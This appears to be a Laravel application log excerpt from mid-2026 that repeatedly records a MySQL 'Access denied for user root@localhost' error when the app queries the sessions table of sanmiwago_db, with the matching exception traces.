SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8yJIsohFlWJ5MMdlXngmubcZFfgBXGAvYhOB6Ra1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8yJIsohFlWJ5MMdlXngmubcZFfgBXGAvYhOB6Ra1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-30 23:17:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Uc1nLyMhWD9JlIVGAanTH00w3gwEXq5f2dq87vR4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Uc1nLyMhWD9JlIVGAanTH00w3gwEXq5f2dq87vR4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-01 08:42:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hjRDUAe1AxKaYFJeXMyVFaUTlCBtkmlPgzJVCz67 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hjRDUAe1AxKaYFJeXMyVFaUTlCBtkmlPgzJVCz67 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-01 17:58:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Gd95jiyKWa7HrADUh89TekwH3hjdb0dCbPBxCGon limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Gd95jiyKWa7HrADUh89TekwH3hjdb0dCbPBxCGon limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-02 04:22:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vLIsDxZaH7CXYFgdCnAuRxRqEEMvACovlINJMDyL limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vLIsDxZaH7CXYFgdCnAuRxRqEEMvACovlINJMDyL limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-03 02:21:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r34sWO8eL7fdlE6IFGeDEoWw4Utxgsz8gWHo1NOx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r34sWO8eL7fdlE6IFGeDEoWw4Utxgsz8gWHo1NOx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-04 10:48:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Tmps8u7EwfqztGmjuYiK6JzjBf6Tga8K88FQZUpF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Tmps8u7EwfqztGmjuYiK6JzjBf6Tga8K88FQZUpF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-04 22:51:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8vQO8hTFhkB90EdgDjFCkS9HNjJsHvEFyF8KAkzk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8vQO8hTFhkB90EdgDjFCkS9HNjJsHvEFyF8KAkzk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-05 07:20:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dQCFKBAZwpKY20QZkmzUbsct1BWfkCB8K8RERQ99 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dQCFKBAZwpKY20QZkmzUbsct1BWfkCB8K8RERQ99 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-05 15:25:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cRbTGBdEkXezoTartt8dU59Dd67ZHffB38Q5QULz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cRbTGBdEkXezoTartt8dU59Dd67ZHffB38Q5QULz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-05 22:04:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GsNnVpcUpnSMis0OAKRuqDE97DoNFHvIYq3UOJ63 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GsNnVpcUpnSMis0OAKRuqDE97DoNFHvIYq3UOJ63 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-05 22:58:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hPuBoosmg7OX01HPpnP1Do88ziErNp3OBOGwyDDV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hPuBoosmg7OX01HPpnP1Do88ziErNp3OBOGwyDDV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-06 17:02:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4NWz46yshKB91eRtcj6CLaENIwVBxtufIlr6QxBz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4NWz46yshKB91eRtcj6CLaENIwVBxtufIlr6QxBz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-06 18:36:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MjUjDuOG0LI9ysogr3wDX8QnQugVXvYu5uOB3hXA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MjUjDuOG0LI9ysogr3wDX8QnQugVXvYu5uOB3hXA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-07 14:58:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Sci2yRuWPb9AgQ5w88Rbb1ulfCR7yTpu9zB6FFCy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Sci2yRuWPb9AgQ5w88Rbb1ulfCR7yTpu9zB6FFCy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-07 22:50:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Mzr22V91XLMrKo4iuPIKdyl67suQVUya6XJD7O53 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Mzr22V91XLMrKo4iuPIKdyl67suQVUya6XJD7O53 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-08 23:50:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OXZePncJOTQmB7L9WyeMm8fepuOWg4hxZwhZYBPG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OXZePncJOTQmB7L9WyeMm8fepuOWg4hxZwhZYBPG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-09 00:07:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 07e6nUdAytNh8cTTbY3HZ1fTdy3d8k0OlslsS2Te limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 07e6nUdAytNh8cTTbY3HZ1fTdy3d8k0OlslsS2Te limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-09 02:10:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 50XSLhjLIHS3zUZFnwhPoTTT3Mx45ALwNyKWQOex limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 50XSLhjLIHS3zUZFnwhPoTTT3Mx45ALwNyKWQOex limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-10 15:13:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3fR5wsbcXbqgVyYrDPTGOpDO9dOw532I9tSWbpyg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3fR5wsbcXbqgVyYrDPTGOpDO9dOw532I9tSWbpyg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-10 17:07:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LdhA0tXZdljYQOh3rlc72FgxX1hW7e2QphonGOrz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LdhA0tXZdljYQOh3rlc72FgxX1hW7e2QphonGOrz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-11 16:55:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q9nDpJSNXQtEhwdQ78VFLg9n5RLT7VRAbxxmqzdW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q9nDpJSNXQtEhwdQ78VFLg9n5RLT7VRAbxxmqzdW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-11 18:42:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q0DcRBPgiWtSYrzE2PWpoAAuKCHWOnKeNm5sz6iW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Q0DcRBPgiWtSYrzE2PWpoAAuKCHWOnKeNm5sz6iW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-11 20:59:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uJjzaijUZtPLJCEuEz7RTVSXhde0ApcmoTm6go1r limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uJjzaijUZtPLJCEuEz7RTVSXhde0ApcmoTm6go1r limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-12 02:52:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gT6oSus3tXZI7AJRkYYwEYzffsDaINuu8lW2nep5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gT6oSus3tXZI7AJRkYYwEYzffsDaINuu8lW2nep5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-12 23:07:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cEj5pq6Zo8dy4JaqKlRnT08OG7N0EVieIBIxd6ex limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cEj5pq6Zo8dy4JaqKlRnT08OG7N0EVieIBIxd6ex limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-15 05:45:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gkTyKfnqThohjw8UGvMyv2WqitDKQ84NA9gVbwyt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gkTyKfnqThohjw8UGvMyv2WqitDKQ84NA9gVbwyt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-17 00:43:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6wjsxc0fgBIJCy8ca2UU6jv6T1utZGp1logSCCUC limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6wjsxc0fgBIJCy8ca2UU6jv6T1utZGp1logSCCUC limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-17 16:30:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6lPeFILXZaAcCBMBmw49REdRAGsJCenPP4CeondP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6lPeFILXZaAcCBMBmw49REdRAGsJCenPP4CeondP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-18 02:57:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tv0QL79Nj5gIGW1treMJXKjkL6u5LiBzvFjIheAg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tv0QL79Nj5gIGW1treMJXKjkL6u5LiBzvFjIheAg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-07-19 23:54:51] 